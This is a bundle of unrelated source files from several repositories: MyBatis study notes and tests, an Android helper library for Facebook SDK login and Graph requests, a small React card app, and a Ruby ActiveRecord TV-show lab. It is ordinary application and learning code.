mybatisๅˆ›ๅปบsqlsession็ป่ฟ‡ไบ†ไปฅไธ‹ๅ‡ ไธชไธป่ฆๆญฅ้ชค๏ผš 1. ไปŽๆ ธๅฟƒ้…็ฝฎๆ–‡ไปถmybatis-config.xmlไธญ่Žทๅ–Environment๏ผˆ่ฟ™้‡Œ้ขๆ˜ฏๆ•ฐๆฎๆบ๏ผ‰๏ผ› 2. ไปŽEnvironmentไธญๅ–ๅพ—DataSource๏ผ› 3. ไปŽEnvironmentไธญๅ–ๅพ—TransactionFactory๏ผ› 4. ไปŽDataSource้‡Œ่Žทๅ–ๆ•ฐๆฎๅบ“่ฟžๆŽฅๅฏน่ฑกConnection๏ผ› 5. ๅœจๅ–ๅพ—็š„ๆ•ฐๆฎๅบ“่ฟžๆŽฅไธŠๅˆ›ๅปบไบ‹ๅŠกๅฏน่ฑกTransaction๏ผ› 6. ๅˆ›ๅปบExecutorๅฏน่ฑก๏ผˆ่ฏฅๅฏน่ฑก้žๅธธ้‡่ฆ๏ผŒไบ‹ๅฎžไธŠsqlsession็š„ๆ‰€ๆœ‰ๆ“ไฝœ้ƒฝๆ˜ฏ้€š่ฟ‡ๅฎƒๅฎŒๆˆ็š„๏ผ‰๏ผ› 7. ๅˆ›ๅปบsqlsessionๅฏน่ฑกใ€‚ ### sql้…็ฝฎๆ–นๅผ 1. XML้…็ฝฎ 2. ๆณจ่งฃ้…็ฝฎ ### ๅผ€ๅ‘้กบๅบ 1. ๅˆ†ๆžไธšๅŠก 2. ๅฎšไน‰่กจ 3. generator็”Ÿๆˆๆ‰€้œ€่ฆ็š„็ฑป ### ไฝœ็”จๅŸŸscope 1. SqlSessionFactoryBuilder 2. SqlSessionFactory-->session 3. SqlSession -->method 4. Mapper -->method ### ้…็ฝฎ 1. configurationๅ„ๅ…ƒ็ด  1. environment 2. type handle 3. plugin 2. mapper.xml ## ๆ‰‹ๅ†™ๆก†ๆžถ 1. V1.0 2. V2.0 ## mybatis-spring้›†ๆˆๅŽŸ็†``` TestSql.java ```package mybatis; import com.learn.mybatis.beans.Author; import com.learn.mybatis.config.IntegrationMyBatisConfiguration; import com.learn.mybatis.mapper.AuthorMapper; import org.apache.ibatis.session.SqlSession; import org.junit.Test; import java.io.FileNotFoundException; /** * Created by ghost on 2018-04-11. */ public class TestSql { @Test public void test1() throws FileNotFoundException { SqlSession sqlSession = IntegrationMyBatisConfiguration.getSqlSession(); AuthorMapper mapper = sqlSession.getMapper(AuthorMapper.class); Author author = mapper.selectByPrimaryKey(2); System.out.println(author.getAuthorName()); sqlSession.close(); } @Test public void testTypeHandler() throws FileNotFoundException { SqlSession sqlSession = IntegrationMyBatisConfiguration.getSqlSession(); AuthorMapper mapper = sqlSession.getMapper(AuthorMapper.class); Author author = new Author(); author.setAuthorName("ๆต‹่ฏ•1"); mapper.insert(author); sqlSession.commit(); sqlSession.close(); } public static void main(String[] args) throws FileNotFoundException { } } ``` ProgrammingMyBatisConfiguration.java ```package com.learn.mybatis.config; /** * ็ผ–็จ‹ๅผไฝฟ็”จMybatis * Created by ghost on 2018-04-13. */ public class ProgrammingMyBatisConfiguration { } ``` TestSpringSql.java ```package mybatis; import com.learn.mybatis.beans.Author; import com.learn.mybatis.mapper.AuthorMapper; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import org.springframework.transaction.annotation.Transactional; /** * ้›†ๆˆๅผ * Created by ghost on 2018-04-11. */ @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(locations = "classpath*:spring-context.xml") @Transactional public class TestSpringSql { @Autowired private AuthorMapper authorMapper; @Test public void test1() { Author author = authorMapper.selectByPrimaryKey(2); System.out.println(author.getAuthorName()); } } ```
yunarta/works-facebook
yunarta/works-facebook FacebookPluginFragment.java ```/* * Copyright 2014-present Yunarta * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobilesolutionworks.android.facebook; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.support.annotation.NonNull; import android.support.v4.app.Fragment; import com.facebook.FacebookRequestError; import com.facebook.LoggingBehavior; import com.facebook.Request; import com.facebook.Response; import com.facebook.Session; import com.facebook.SessionLoginBehavior; import com.facebook.SessionState; import com.facebook.Settings; import com.facebook.UiLifecycleHelper; import com.facebook.widget.FacebookDialog; import com.mobilesolutionworks.android.facebook.bolts.Ending; import com.mobilesolutionworks.android.facebook.bolts.Failed; import com.mobilesolutionworks.android.facebook.bolts.Success; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.Callable; import bolts.Continuation; import bolts.Task; /** * Created by yunarta on 7/9/14. */ public class FacebookPluginFragment extends Fragment implements WorksFacebook { protected static final int REQUEST_CODE = 0xfb; protected UiLifecycleHelper mLifecycleHelper; Map<Integer, FacebookDialog.Callback> mFacebookDialogMap; @Override public void onAttach(Activity activity) { super.onAttach(activity); if (BuildConfig.DEBUG) { Settings.addLoggingBehavior(LoggingBehavior.APP_EVENTS); Settings.addLoggingBehavior(LoggingBehavior.CACHE); Settings.addLoggingBehavior(LoggingBehavior.DEVELOPER_ERRORS); Settings.addLoggingBehavior(LoggingBehavior.INCLUDE_ACCESS_TOKENS); Settings.addLoggingBehavior(LoggingBehavior.INCLUDE_RAW_RESPONSES); Settings.addLoggingBehavior(LoggingBehavior.REQUESTS); } Session.openActiveSessionFromCache(activity); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mLifecycleHelper = new UiLifecycleHelper(getActivity(), null); mLifecycleHelper.onCreate(savedInstanceState); mFacebookDialogMap = new HashMap<Integer, FacebookDialog.Callback>(); // SessionController instance = SessionController.getInstance(getActivity()); // Session session = instance.getSession(); // // Log.d(BuildConfig.MODULE_NAME, "session = " + session); // Log.d(BuildConfig.MODULE_NAME, "session.getAccessToken() = " + session.getAccessToken()); // Log.d(BuildConfig.MODULE_NAME, "session.getApplicationId() = " + session.getApplicationId()); // Log.d(BuildConfig.MODULE_NAME, "session.getAuthorizationBundle() = " + session.getAuthorizationBundle()); // Log.d(BuildConfig.MODULE_NAME, "session.getState() = " + session.getState()); } @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); mLifecycleHelper.onSaveInstanceState(outState); } @Override public void onResume() { super.onResume(); mLifecycleHelper.onResume(); } @Override public void onPause() { super.onPause(); mLifecycleHelper.onPause(); } @Override public void onStop() { super.onStop(); mLifecycleHelper.onStop(); } @Override public void onDestroy() { super.onDestroy(); mLifecycleHelper.onDestroy(); } protected Session getSession() { return Session.getActiveSession(); } @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); FacebookDialog.Callback callback = mFacebookDialogMap.remove(requestCode); if (callback != null) { mLifecycleHelper.onActivityResult(requestCode, resultCode, data, callback); } else { mLifecycleHelper.onActivityResult(requestCode, resultCode, data); } } @Override public void trackPendingDialogCall(FacebookDialog.PendingCall pendingCall, FacebookDialog.Callback callback) { mFacebookDialogMap.put(pendingCall.getRequestCode(), callback); mLifecycleHelper.trackPendingDialogCall(pendingCall); } @Override public void open(@NonNull final WorksFacebook.Callback callback) { checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() { @Override public Task<Session> then(Task<Response> responseTask) throws Exception { return openSession(Session.getActiveSession()); } }).onSuccess(new Success<Session>() { @Override public void success(final Task<Session> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onSessionOpened(task.getResult()); } }); } }).continueWith(new Failed<Void>() { @Override public void fault(Task<Void> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCancelled(); } }); } }); } @Override public void validate(@NonNull final WorksFacebook.Callback callback) { checkSession().continueWith(new Ending<Response>() { @Override public void end(Task<Response> responseTask) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onSessionOpened(Session.getActiveSession()); } }); } }); } @Override public void readRequest(final Request request, @NonNull final WorksFacebook.ResponseCallback callback, final String... newPermissions) { checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() { @Override public Task<Session> then(Task<Response> responseTask) throws Exception { return openSession(Session.getActiveSession()); } }).onSuccessTask(new Continuation<Session, Task<Session>>() { @Override public Task<Session> then(Task<Session> task) throws Exception { return requestForPublish(task.getResult(), true, newPermissions); } }).onSuccessTask(new Continuation<Session, Task<Response>>() { @Override public Task<Response> then(Task<Session> task) throws Exception { return makeRequest(task.getResult(), request); } }).onSuccess(new Success<Response>() { @Override public void success(final Task<Response> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCompleted(task.getResult()); } }); } }).continueWith(new Success<Void>() { @Override public void success(Task<Void> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCancelled(); } }); } }); } @Override public void publishRequest(final Request request, @NonNull final WorksFacebook.ResponseCallback callback, final String... newPermissions) { checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() { @Override public Task<Session> then(Task<Response> responseTask) throws Exception { return openSession(Session.getActiveSession()); } }).onSuccessTask(new Continuation<Session, Task<Session>>() { @Override public Task<Session> then(Task<Session> task) throws Exception { return requestForPublish(task.getResult(), true, newPermissions); } }).onSuccessTask(new Continuation<Session, Task<Response>>() { @Override public Task<Response> then(Task<Session> task) throws Exception { return makeRequest(task.getResult(), request); } }).onSuccess(new Success<Response>() { @Override public void success(final Task<Response> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCompleted(task.getResult()); } }); } }).continueWith(new Failed<Void>() { @Override public void fault(Task<Void> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCancelled(); } }); } }); } @Override public void requestMe(@NonNull final WorksFacebook.ResponseCallback callback) { checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() { @Override public Task<Session> then(Task<Response> responseTask) throws Exception { return openSession(null); } }).onSuccessTask(new Continuation<Session, Task<Response>>() { @Override public Task<Response> then(Task<Session> task) throws Exception { return makeRequest(task.getResult(), Request.newMeRequest(null, null)); } }).onSuccess(new Success<Response>() { @Override public void success(final Task<Response> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCompleted(task.getResult()); } }); } }).continueWith(new Failed<Void>() { @Override public void fault(Task<Void> task) throws Exception { getActivity().runOnUiThread(new Runnable() { @Override public void run() { callback.onCancelled(); } }); } }); } @Override public void close() { getSession().closeAndClearTokenInformation(); } private Task<Response> checkSession() { return Task.callInBackground(new Callable<Response>() { @Override public Response call() throws Exception { Session session = getSession(); if (session != null && session.isOpened()) { Response response = new Request(session, "/me?fields=id").executeAndWait(); FacebookRequestError error = response.getError(); if (error != null) { FacebookErrorCode code = FacebookErrorCode.get(error.getErrorCode()); if (code == FacebookErrorCode.INVALID_SESSION_FACEBOOK_ERROR_CODE) { // session invalidated here return null; } } return response; } return null; } }); } private Task<Session> openSession(Session session) { checkActivity(); final Task<Session>.TaskCompletionSource source = Task.<Session>create(); if (session == null || session.isClosed()) { session = new Session(getActivity()); Session.setActiveSession(session); } if (session.isOpened()) { source.trySetResult(session); } else { Session.OpenRequest request = new Session.OpenRequest(FacebookPluginFragment.this); request.setPermissions("email"); request.setRequestCode(REQUEST_CODE); request.setLoginBehavior(SessionLoginBehavior.SUPPRESS_SSO); request.setCallback(new Session.StatusCallback() { @Override public void call(Session session, SessionState state, Exception exception) { if (state.isClosed()) { source.trySetError(exception); } else if (state.isOpened()) { source.trySetResult(session); } } }); session.openForRead(request); } return source.getTask(); } private Task<Session> requestForPublish(final Session session, final boolean publish, final String... newPermissions) { checkActivity(); final Task<Session>.TaskCompletionSource source = Task.<Session>create(); List<String> permissions = session.getPermissions(); if (permissions.containsAll(Arrays.asList(newPermissions))) { source.trySetResult(session); } else { getActivity().runOnUiThread(new Runnable() { @Override public void run() { Session.NewPermissionsRequest request = new Session.NewPermissionsRequest(FacebookPluginFragment.this, newPermissions); request.setRequestCode(REQUEST_CODE); request.setLoginBehavior(SessionLoginBehavior.SUPPRESS_SSO); request.setCallback(new Session.StatusCallback() { @Override public void call(Session session, SessionState state, Exception exception) { if (state.isClosed()) { source.trySetError(exception); } else if (state.isOpened()) { source.trySetResult(session); } } }); if (publish) { session.requestNewPublishPermissions(request); } else { session.requestNewReadPermissions(request); } } }); } return source.getTask(); } private Task<Response> makeRequest(final Session session, final Request request) { checkActivity(); return Task.callInBackground(new Callable<Response>() { @Override public Response call() throws Exception { request.setSession(session); Response response = request.executeAndWait(); FacebookRequestError error = response.getError(); if (error != null) { FacebookErrorCode code = FacebookErrorCode.get(error.getErrorCode()); if (code == FacebookErrorCode.INVALID_SESSION_FACEBOOK_ERROR_CODE) { // session invalidated here throw new IllegalStateException(); } } return response; } }); } private void checkActivity() { if (getActivity() == null) { throw new IllegalStateException("task cancelled because activity was removed"); } } }``` FacebookUtils.java ```/* * Copyright 2014-present Yunarta * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobilesolutionworks.android.facebook; import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.content.pm.Signature; import android.util.Base64; import android.util.Log; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; /** * Created by yunarta on 7/9/14. */ public class FacebookUtils { public static void logKeyHash(Context context) { try { PackageInfo info = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES); for (Signature signature : info.signatures) { MessageDigest md = MessageDigest.getInstance("SHA"); md.update(signature.toByteArray()); Log.d(BuildConfig.MODULE_NAME, Base64.encodeToString(md.digest(), Base64.DEFAULT)); } } catch (PackageManager.NameNotFoundException e) { } catch (NoSuchAlgorithmException e) { } } } ``` README.md ```# works facebook # Helper class for Facebook SDK for Android. By utilising Fragment that is added as "data" instead of "view", this will allow the Facebook fragment to implements UiLifecycleHelper functionality within. ``` SessionController.java ```/* * Copyright 2014-present Yunarta * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobilesolutionworks.android.facebook; import android.content.Context; import android.support.annotation.NonNull; import com.facebook.Session; /** * Created by yunarta on 7/9/14. */ public class SessionController { protected static SessionController sInstance; public static SessionController getInstance(@NonNull Context context) { if (sInstance == null) { sInstance = new SessionController(context); } return sInstance; } protected final Context mContext; protected SessionController(Context context) { mContext = context; } public Session getSession() { Session session = Session.getActiveSession(); if (session == null) { session = Session.openActiveSessionFromCache(mContext); if (session == null) { session = new Session(mContext); } Session.setActiveSession(session); } return session; } } ``` FacebookTestActivity.java ```/* * Copyright 2014-present Yunarta * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobilesolutionworks.android.facebook.test; import android.os.Bundle; import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentTransaction; import android.view.View; import android.widget.TextView; import android.widget.Toast; import com.facebook.HttpMethod; import com.facebook.Request; import com.facebook.Response; import com.facebook.Session; import com.mobilesolutionworks.android.facebook.FacebookPluginFragment; import com.mobilesolutionworks.android.facebook.WorksFacebook; /** * Created by yunarta on 7/9/14. */ public class FacebookTestActivity extends FragmentActivity implements View.OnClickListener { WorksFacebook mFacebook; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_facebook_test); findViewById(R.id.btn_open).setOnClickListener(this); findViewById(R.id.btn_validate).setOnClickListener(this); findViewById(R.id.btn_close).setOnClickListener(this); findViewById(R.id.btn_request1).setOnClickListener(this); findViewById(R.id.btn_request2).setOnClickListener(this); findViewById(R.id.btn_request3).setOnClickListener(this); Session.openActiveSessionFromCache(this); if (savedInstanceState == null) { FacebookPluginFragment fragment = new FacebookPluginFragment(); mFacebook = fragment; FragmentTransaction ft = getSupportFragmentManager().beginTransaction(); ft.add(fragment, "facebook").commit(); } else { mFacebook = (WorksFacebook) getSupportFragmentManager().findFragmentByTag("facebook"); } mFacebook.validate(new StatusCallback()); } @Override public void onClick(View view) { switch (view.getId()) { case R.id.btn_open: { mFacebook.open(new StatusCallback()); break; } case R.id.btn_validate: { mFacebook.validate(new StatusCallback()); break; } case R.id.btn_close: { mFacebook.close(); break; } case R.id.btn_request1: { Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.POST, null); mFacebook.publishRequest(request, new WorksFacebook.ResponseCallback() { @Override public void onCancelled() { } @Override public void onCompleted(Response response) { Toast.makeText(FacebookTestActivity.this, "test response = " + response, Toast.LENGTH_SHORT).show(); } }, "publish_actions"); break; } case R.id.btn_request2: { Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.GET, null); mFacebook.readRequest(request, new WorksFacebook.ResponseCallback() { @Override public void onCancelled() { } @Override public void onCompleted(Response response) { Toast.makeText(FacebookTestActivity.this, "test response = " + response, Toast.LENGTH_SHORT).show(); } }); break; } case R.id.btn_request3: { mFacebook.requestMe(new WorksFacebook.ResponseCallback() { @Override public void onCancelled() { } @Override public void onCompleted(Response response) { Toast.makeText(FacebookTestActivity.this, "test response = " + response, Toast.LENGTH_SHORT).show(); } }); break; } } } private class StatusCallback implements WorksFacebook.Callback { @Override public void onCancelled() { TextView textView = (TextView) findViewById(R.id.status); textView.setText("Facebook Disonnected"); } @Override public void onSessionOpened(Session session) { TextView textView = (TextView) findViewById(R.id.status); if (session != null) { textView.setText(session.isOpened() ? "Facebook Connected" : "Facebook Disconnected"); } else { textView.setText("Facebook Disconnected"); } } } } ``` FacebookErrorCode.java ```/* * Copyright 2014-present Yunarta * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobilesolutionworks.android.facebook; import java.util.HashMap; import java.util.Map; /** * Created by yunarta on 7/9/14. */ public enum FacebookErrorCode { INVALID_SESSION_FACEBOOK_ERROR_CODE(190), // error API_SESSION_EXPIRED(102), API_UNKNOWN(1), API_SERVICE(2), API_TOO_MANY_CALLS(4), API_USER_TOO_MANY_CALLS(17), API_PERMISSION_DENIED(10), APPLICATION_LIMIT_REACHED(341), DUPLICATE_POST(506), ERROR_POSTING_LINK(1609005), // sub error APP_NOT_INSTALLED(458), USER_CHECKPOINTED(459), PASSWORD_CHANGED(460), EXPIRED(463), UNCONFIRMED_USER(464), INVALID_ACCESS_TOKEN(467), UNKNOWN(0xffff); public final int code; FacebookErrorCode(int code) { this.code = code; } public static FacebookErrorCode get(int code) { FacebookErrorCode errorCode = sMap.get(code); return errorCode == null ? UNKNOWN : errorCode; } static Map<Integer, FacebookErrorCode> sMap; static { sMap = new HashMap<Integer, FacebookErrorCode>(); for (FacebookErrorCode codes : FacebookErrorCode.values()) { sMap.put(codes.code, codes); } } } ``` WorksFacebook.java ```/* * Copyright 2014-present Yunarta * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobilesolutionworks.android.facebook; import android.support.annotation.NonNull; import com.facebook.Request; import com.facebook.Response; import com.facebook.Session; import com.facebook.widget.FacebookDialog; /** * Created by yunarta on 7/9/14. */ public interface WorksFacebook { int FACEBOOK_DIALOG_REQUEST_MASK = 0xe000; void trackPendingDialogCall(FacebookDialog.PendingCall pendingCall, FacebookDialog.Callback callback); interface Callback { void onCancelled(); void onSessionOpened(Session result); } interface ResponseCallback { void onCancelled(); void onCompleted(Response response); } void open(@NonNull WorksFacebook.Callback callback); void validate(@NonNull WorksFacebook.Callback callback); void requestMe(@NonNull WorksFacebook.ResponseCallback callback); void readRequest(Request request, @NonNull WorksFacebook.ResponseCallback callback, String... newPermissions); void publishRequest(Request request, @NonNull WorksFacebook.ResponseCallback callback, String... newPermissions); void close(); } ``` FacebookChildFragmentTestActivity.java ```package com.mobilesolutionworks.android.facebook.test; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentTransaction; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import android.widget.Toast; import com.facebook.HttpMethod; import com.facebook.Request; import com.facebook.Response; import com.facebook.Session; import com.mobilesolutionworks.android.facebook.FacebookPluginFragment; import com.mobilesolutionworks.android.facebook.WorksFacebook; import java.util.HashMap; import java.util.Map; /** * Created by yunarta on 7/9/14. */ public class FacebookChildFragmentTestActivity extends FragmentActivity { protected Map<Integer, FragmentTrackInfo> mTrackInfoMap; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_fragment); mTrackInfoMap = new HashMap<Integer, FragmentTrackInfo>(); if (savedInstanceState == null) { FragmentTransaction ft = getSupportFragmentManager().beginTransaction(); ft.replace(R.id.fragment_container, new TestFragment()).commit(); } } public static class TestFragment extends Fragment implements View.OnClickListener { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); FragmentTransaction ft = getChildFragmentManager().beginTransaction(); ft.add(new FacebookPluginFragment(), "facebook").commit(); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_main, null); } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); view.findViewById(R.id.btn_start).setOnClickListener(this); } @Override public void onClick(View v) { FragmentTransaction ft = getChildFragmentManager().beginTransaction(); ft.replace(R.id.fragment_container, new FacebookFragment()).commit(); } } public static class FacebookFragment extends Fragment implements View.OnClickListener { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Session.openActiveSessionFromCache(getActivity()); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { return inflater.inflate(R.layout.activity_facebook_test, null); } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); view.findViewById(R.id.btn_open).setOnClickListener(this); view.findViewById(R.id.btn_validate).setOnClickListener(this); view.findViewById(R.id.btn_close).setOnClickListener(this); view.findViewById(R.id.btn_request1).setOnClickListener(this); view.findViewById(R.id.btn_request2).setOnClickListener(this); view.findViewById(R.id.btn_request3).setOnClickListener(this); } @Override public void onStart() { super.onStart(); WorksFacebook facebook = (WorksFacebook) getFragmentManager().findFragmentByTag("facebook"); facebook.validate(new StatusCallback()); } @Override public void onClick(View view) { WorksFacebook facebook = (WorksFacebook) getFragmentManager().findFragmentByTag("facebook"); switch (view.getId()) { case R.id.btn_open: { facebook.open(new StatusCallback()); break; } case R.id.btn_validate: { facebook.validate(new StatusCallback()); break; } case R.id.btn_close: { facebook.close(); break; } case R.id.btn_request1: { Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.POST, null); facebook.publishRequest(request, new WorksFacebook.ResponseCallback() { @Override public void onCancelled() { } @Override public void onCompleted(Response response) { Toast.makeText(getActivity(), "test response = " + response, Toast.LENGTH_SHORT).show(); } }, "publish_actions"); break; } case R.id.btn_request2: { Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.GET, null); facebook.readRequest(request, new WorksFacebook.ResponseCallback() { @Override public void onCancelled() { } @Override public void onCompleted(Response response) { Toast.makeText(getActivity(), "test response = " + response, Toast.LENGTH_SHORT).show(); } }); break; } case R.id.btn_request3: { facebook.requestMe(new WorksFacebook.ResponseCallback() { @Override public void onCancelled() { } @Override public void onCompleted(Response response) { Toast.makeText(getActivity(), "test response = " + response, Toast.LENGTH_SHORT).show(); } }); break; } } } private class StatusCallback implements WorksFacebook.Callback { @Override public void onCancelled() { TextView textView = (TextView) getView().findViewById(R.id.status); textView.setText("Facebook Disonnected"); } @Override public void onSessionOpened(Session session) { TextView textView = (TextView) getView().findViewById(R.id.status); if (session != null) { textView.setText(session.isOpened() ? "Facebook Connected" : "Facebook Disconnected"); } else { textView.setText("Facebook Disconnected"); } } } } /** * Called by Fragment.startActivityForResult() to implement its behavior. */ public void startActivityFromFragment(Fragment fragment, Intent intent, int requestCode) { // if (fragment instanceof WaitingForResult) { FragmentManager fm = fragment.getFragmentManager(); int id = fm.getFragments().indexOf(fragment); FragmentTrackInfo info = new FragmentTrackInfo(id); Fragment parent = fragment; while ((parent = parent.getParentFragment()) != null) { fm = parent.getFragmentManager(); id = fm.getFragments().indexOf(parent); info = new FragmentTrackInfo(id, info); } mTrackInfoMap.put(requestCode, info); } super.startActivityForResult(intent, requestCode); } /** * Dispatch incoming result to the correct fragment. */ @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { FragmentTrackInfo trackInfo = mTrackInfoMap.remove(requestCode & 0xffff); if (trackInfo != null) { FragmentManager fm = getSupportFragmentManager(); Fragment fragment = fm.getFragments().get(trackInfo.mId); if (trackInfo.mChild != null) { FragmentTrackInfo childInfo = trackInfo; Fragment child = fragment; while ((childInfo = childInfo.mChild) != null) { fm = child.getChildFragmentManager(); child = fm.getFragments().get(childInfo.mId); } fragment = child; } fragment.onActivityResult(requestCode, resultCode, data); } else { super.onActivityResult(requestCode, resultCode, data); } } public class FragmentTrackInfo { public FragmentTrackInfo mChild; public int mId; public FragmentTrackInfo(int id) { mId = id; } public FragmentTrackInfo(int id, FragmentTrackInfo info) { mId = id; mChild = info; } public int getId() { int requestId = 0; if (mChild != null) { requestId |= mChild.getId() << 8; } requestId |= mId; return requestId; } } interface WaitingForResult { } } ```
yungest/Robofriends
yungest/Robofriends Card.js ``` import React from 'react' const Card = ({name,email,id}) => { return( <div className="ma3 dib bg-light-green grow"> <img src={`https://robohash.org/${id}`} alt="robotsCard" /> <div className="tc"> <h1> {name} </h1> <p>{email}</p> </div> </div> ); } export default Card; ``` App.js ```import React from 'react'; import CardList from './CardList'; import {robots} from './robots' function App(){ return( <div className="tc ma3"> <div className="pa2"> <h1>Robofriends</h1> <input className="pa3" type="text" placeholder="Search" /> </div> <CardList robots={robots} /> </div> ) } export default App;```
yunglleung1/activerecord-tvland-nyc-web-062518
yunglleung1/activerecord-tvland-nyc-web-062518 runner.rb ```require './config/environment' actor1 = Actor.new(id: 1, first_name: "Joe", last_name: "Smith") actor2 = Actor.new(id: 2, first_name: "Jane", last_name: "Flowers") network1 = Network.new(id: 1, call_letters: "WB", channel: 11) show1 = Show.new(name: "Robocop", genre: "Action", day: "July 17, 1987", season: "Summer", call_letters: "RC", network_id: 1) character1 = Character.new(name: "Robocop", catchphrase: "Stop. Don't move!") character2 = Character.new(name: "Officer Anne", catchphrase: "You are not a robot!") binding.pry ``` show.rb ```class Show < ActiveRecord::Base belongs_to :network #1:1 has_many :characters #has many characters in an array def build_network(hash) new_network = Network.create(hash) self.network = new_network end end ``` actor.rb ```class Actor < ActiveRecord::Base has_many :characters has_many :shows, through: :characters def full_name #returns the first and last name of an actor (needs refactoring) Actor.all[0].first_name + " " + Actor.all[0].last_name end def list_roles #lists all of the characters that actor has (needs refactoring) Character.all[0].name + " - " + Show.all[0].name end end ``` character.rb ```#Join Between Show & Actor class Character < ActiveRecord::Base # attr_reader :catchphrase, :show belongs_to :show belongs_to :actor def say_that_thing_you_say #using a given character's catchphrase. "#{self.name} always says: #{self.catchphrase}" end def build_show(hash) new_show = Show.create(hash) self.show = new_show end end ```
yungsters/phabricator-scripts
